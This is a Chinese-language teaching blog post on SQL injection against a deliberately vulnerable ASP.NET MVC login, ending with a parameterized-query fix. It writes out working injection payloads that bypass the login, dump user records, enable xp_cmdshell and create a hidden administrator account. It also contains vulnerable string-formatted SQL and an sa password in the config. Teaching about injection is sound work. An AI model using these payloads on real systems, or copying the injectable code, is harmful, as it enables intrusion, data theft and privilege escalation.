前兩天,帶着學生們學習了簡單的ASP.NET MVC,通過ADO.NET方式連接數據庫,實現增刪改查。
可能有一部分學生提前預習過,在我寫登錄SQL的時候,他們鄙視我說:“老師你這SQL有注入,隨便都能登錄了。不能這么寫!”
“呦?小伙子這都知道了?那你說說看 啥是注入?注入只能拿來繞過登錄么?”
好吧,竟然在老子面前裝逼,看來不給你點兒顏色看看,你還真是不明白天有多高。。
於是乎。。哈哈。大清早的,輕松在班里裝了一手好逼。。
呵呵。不說了,下面我把那個項目重寫一下發上來吧。演示一下注入有哪些危害。怎么避免等。
(*^_^*) 大牛勿噴。
▁▃▅ 淺談SQL注入風險 - 一個Login拿下Server ▅▃▁
目錄:
本文主要就是介紹SQL注入基本手法,危害,以及如何解決。
技術有點渣渣,大牛勿噴。。。。
一、數據庫。
只創建了一個Admin表,結構如下:
1 create table Admin 2 ( 3 Id int primary key identity(1,1) not null, 4 Username nvarchar(50) not null, 5 Password nvarchar(50) not null 6 ) 7 go
插入三條測試數據如下:

二、Web項目
這里為了演示,所以我只搭建了一個簡單的三層結構(ASP.NET MVC作為UI,DAL,BLL)以及模型Model:

1. Model模型層的AdminInfo.cs:
1 using System; 2 using System.Collections.Generic; 3 using System.Linq; 4 using System.Text; 5 6 namespace Guying.BlogsDemo.Model 7 { 8 /// <summary> 9 /// Admin 模型 10 /// </summary> 11 public class AdminInfo 12 { 13 /// <summary> 14 /// 編號 15 /// </summary> 16 public int Id { get; set; } 17 18 /// <summary> 19 /// 賬號 20 /// </summary> 21 public string Username { get; set; } 22 23 /// <summary> 24 /// 密碼 25 /// </summary> 26 public string Password { get; set; } 27 } 28 }
2. Web.config添加連接字符串:
1 <connectionStrings> 2 <add name="BlogDemo" connectionString="server=.;database=BlogDemo;uid=sa;pwd=LonelyShadow" providerName="System.Data.SqlClient"/> 3 </connectionStrings>
3. DAL數據層的DBHelper.cs輔助類:
1 using System; 2 using System.Collections.Generic; 3 using System.Configuration; 4 using System.Linq; 5 using System.Text; 6 7 namespace Guying.BlogsDemo.DAL 8 { 9 /// <summary> 10 /// 數據訪問輔助類 11 /// </summary> 12 public class DBHelper 13 { 14 /// <summary> 15 /// BlogDemo 數據庫鏈接字符串 16 /// </summary> 17 public static readonly string CONNECTIONSTRING = ConfigurationManager.ConnectionStrings["BlogDemo"].ConnectionString; 18 } 19 }
4. DAL數據層的AdminService.cs中寫了一個登錄的Login方法(SQL存在注入):
1 using System; 2 using System.Collections.Generic; 3 using System.Linq; 4 using System.Text; 5 using System.Data.SqlClient; 6 using Guying.BlogsDemo.Model; 7 8 namespace Guying.BlogsDemo.DAL 9 { 10 /// <summary> 11 /// Admin 數據提供 12 /// </summary> 13 public class AdminService 14 { 15 /// <summary> 16 /// Admin 登錄 17 /// </summary> 18 /// <param name="adminInfo">登錄目標對象</param> 19 /// <returns>返回結果對象,null為登錄失敗</returns> 20 public AdminInfo Login(AdminInfo adminInfo) 21 { 22 AdminInfo result = null; 23 string sql = string.Format(" select Id,Username,Password from Admin where Username='{0}' and Password='{1}' ", adminInfo.Username, adminInfo.Password); 24 using (SqlConnection conn = new SqlConnection(DBHelper.CONNECTIONSTRING)) 25 { 26 conn.Open(); 27 using (SqlCommand comm = new SqlCommand(sql, conn)) 28 { 29 using (SqlDataReader reader = comm.ExecuteReader()) 30 { 31 if (reader.Read()) 32 { 33 result = new AdminInfo() 34 { 35 Id = (int)reader["Id"], 36 Username = reader["Username"].ToString(), 37 Password = reader["Password"].ToString() 38 }; 39 } 40 } 41 } 42 } 43 return result; 44 } 45 } 46 }
5. BLL業務邏輯的AdminManager.cs:
1 using System; 2 using System.Collections.Generic; 3 using System.Linq; 4 using System.Text; 5 using Guying.BlogsDemo.DAL; 6 using Guying.BlogsDemo.Model; 7 8 namespace Guying.BlogsDemo.BLL 9 { 10 public class AdminManager 11 { 12 private AdminService _AdminService = null; 13 14 public AdminManager() 15 { 16 if (_AdminService==null) 17 { 18 _AdminService = new AdminService(); 19 } 20 } 21 22 /// <summary> 23 /// Admin 登錄 24 /// </summary> 25 /// <param name="adminInfo">登錄目標對象</param> 26 /// <returns>返回結果對象,null為登錄失敗</returns> 27 public AdminInfo Login(AdminInfo adminInfo) 28 { 29 return _AdminService.Login(adminInfo); 30 } 31 } 32 }
6. WebUI層的HomeController:
1 using System; 2 using System.Collections.Generic; 3 using System.Linq; 4 using System.Web; 5 using System.Web.Mvc; 6 using Guying.BlogsDemo.Model; 7 using Guying.BlogsDemo.BLL; 8 using System.Text; 9 10 namespace Guying.BlogsDemo.WebUI.Controllers 11 { 12 public class HomeController : Controller 13 { 14 [HttpGet] 15 public ActionResult Login() 16 { 17 return View(); 18 } 19 20 [HttpPost] 21 public ActionResult Login(AdminInfo adminInfo) 22 { 23 AdminManager _AdminManager = new AdminManager(); 24 adminInfo = _AdminManager.Login(adminInfo); 25 JsonResult json = new JsonResult() { Data = adminInfo, ContentEncoding = Encoding.UTF8 }; 26 return json; 27 } 28 29 } 30 }
7. WebUI的Views/Home/Login:
1 @model Guying.BlogsDemo.Model.AdminInfo 2 3 @{ 4 ViewBag.Title = "Login"; 5 } 6 7 <link href="~/CSS/home.login.css" rel="stylesheet" /> 8 9 <div class="box-max"> 10 <h2>Login</h2> 11 <hr /> 12 13 @using (Html.BeginForm()) 14 { 15 @Html.AntiForgeryToken() 16 @Html.ValidationSummary(true) 17 18 <table> 19 <tr> 20 <th>賬號:</th> 21 <td> 22 @Html.EditorFor(model => model.Username) 23 @Html.ValidationMessageFor(model => model.Username) 24 </td> 25 </tr> 26 <tr> 27 <th> 28 密碼: 29 </th> 30 <td> 31 @Html.EditorFor(model => model.Password) 32 @Html.ValidationMessageFor(model => model.Password) 33 </td> 34 </tr> 35 <tr> 36 <td colspan="2" align="center"> 37 <input type="submit" value="登 錄" /> 38 </td> 39 </tr> 40 </table> 41 } 42 </div>
8. WebUIHome/Login的css:
1 *{transition:all 0.3s;} 2 body{margin:0px; padding:0px; background-color:#F8F8F8;} 3 .box-max{ width:500px; margin:100px auto; border:1px solid #CCC; padding:10px; border-radius:10px; background-color:#FFFFFF;} 4 .box-max table{width:100%;} 5 .box-max table tr{line-height:40px;} 6 .box-max table th{text-align:right;} 7 .box-max table td input{width:100%;} 8 .box-max table tr:last-child input{width:auto; padding:5px 10px; background-color:#FFF; border:1px solid black; border-radius:5px; cursor:pointer;} 9 .box-max table tr:last-child input:hover{background-color:#EFEFEF; text-decoration:underline;}
9. 運行結果:

三、注入
1. 廢話不多說、直接測試注入。
賬號: ' or 1=1 -- ,密碼(隨意): fuck ,結果如下:

你還在認為注入只是為了繞過登錄進入網站么?
那你就錯了。

竟然返回的是一個包含整個用戶信息的Json?!
這也是一個程序設計的嚴重不當!
不知道大家前陣子還記得某酒店、某招聘網站,就是因為移動App,被人抓包,截取到了一個request,提交id,則會返回其所有基本信息。
最后導致千萬級數據泄露。
也就是類似於下面這樣操作:
2. 獲取所有用戶信息:
這里需要主鍵字段,我就不注入檢測了,假設我們已經測出了主鍵為ID。
那么我們可以登錄這樣寫(密碼隨意):
賬號: ' or (1=1 and Id=1) -- ,返回結果: {"Id":1,"Username":"admin","Password":"admin1234"} ;
賬號: ' or (1=1 and Id=2) -- ,返回結果: {"Id":2,"Username":"zhangsan","Password":"666666"} ;
賬號: ' or (1=1 and Id=3) -- ,返回結果: {"Id":3,"Username":"lisi","Password":"888888"}
如果我們寫一個程序,循環發送這個請求,將獲得的數據保存,那么你的用戶數據褲子是不是也要被脫得干干凈凈了?
3. 下一步,經典的開啟xp_cmdshell(看不懂的自行Google):
賬號: ' or 1=1; exec sp_configure 'show advanced options',1; reconfigure; exec sp_configure 'xp_cmdshell',1; reconfigure; --
后面操作的結果就不用看了,也是返回前面登錄用戶的Json,但是已經成功執行后面的代碼了。
然后,xp_cmdshell已經獲取了,你還想干什么不行?
這里我只做一個概念性的測試,演示一下其危害。
根據項目的不同,注入可能還會導致更嚴重的后果。
當然,你也可以創建文件,添加任務等,例如這樣:
添加隱藏賬號,並提升管理員組:
賬號填寫: ' or 1=1; exec xp_cmdshell 'echo net user $fuck 123456 /add > D:\a.bat & echo net localgroup administrators $fuck /add >> D:\a.bat & echo exit >> D:\a.bat' --
修改權限/修改所有者:
賬號填寫: ' or 1=1; exec xp_cmdshell 'icacls D:\a.bat /setowner everyone & icacls D:\a.bat /grant everyone:F' --
執行:
賬號填寫: ' or 1=1; exec xp_cmdshell 'D: & D:\a.bat' --
結果:

好吧,上面DOS你懂得。
當然,你還可以通過DOS xxxxxxxxxxxxxxxxxxxxxxxxxxxxx。。。
四、如何避免
這個應該很簡單吧,其實就是我們日常編碼習慣的問題。
登錄SQL可以改成通過SqlParameter傳參的方式,返回結果可以設置返回bool來標識成功/失敗,修改后的方法如下:
1 using System; 2 using System.Collections.Generic; 3 using System.Linq; 4 using System.Text; 5 using System.Data.SqlClient; 6 using Guying.BlogsDemo.Model; 7 8 namespace Guying.BlogsDemo.DAL 9 { 10 /// <summary> 11 /// Admin 數據提供 12 /// </summary> 13 public class AdminService 14 { 15 /// <summary> 16 /// Admin 登錄 17 /// </summary> 18 /// <param name="adminInfo">登錄目標對象</param> 19 /// <returns>返回操作結果,true成功 / false失敗</returns> 20 public bool Login(AdminInfo adminInfo) 21 { 22 int count = 0; 23 string sql = " select count(1) from Admin where Username=@Username and Password=@Password "; 24 using (SqlConnection conn = new SqlConnection(DBHelper.CONNECTIONSTRING)) 25 { 26 conn.Open(); 27 using (SqlCommand comm = new SqlCommand(sql, conn)) 28 { 29 comm.Parameters.AddRange(new[] { new SqlParameter("@Username", adminInfo.Username), new SqlParameter("@Password", adminInfo.Password) }); 30 count = (int)comm.ExecuteScalar(); 31 } 32 } 33 return count > 0; 34 } 35 } 36 }
平時寫代碼,多注意下這些問題。
當然,數據庫的存儲過程也不是沒卵用的咸魚,記得多用。
五、 沒了
就是演示一下危害,什么年代了都,不應該出現注入的問題了吧。
畢竟每個項目不一樣,指不定注入還會導致什么問題呢。
最后。。。。。。。。。。。大牛勿噴。么么噠~
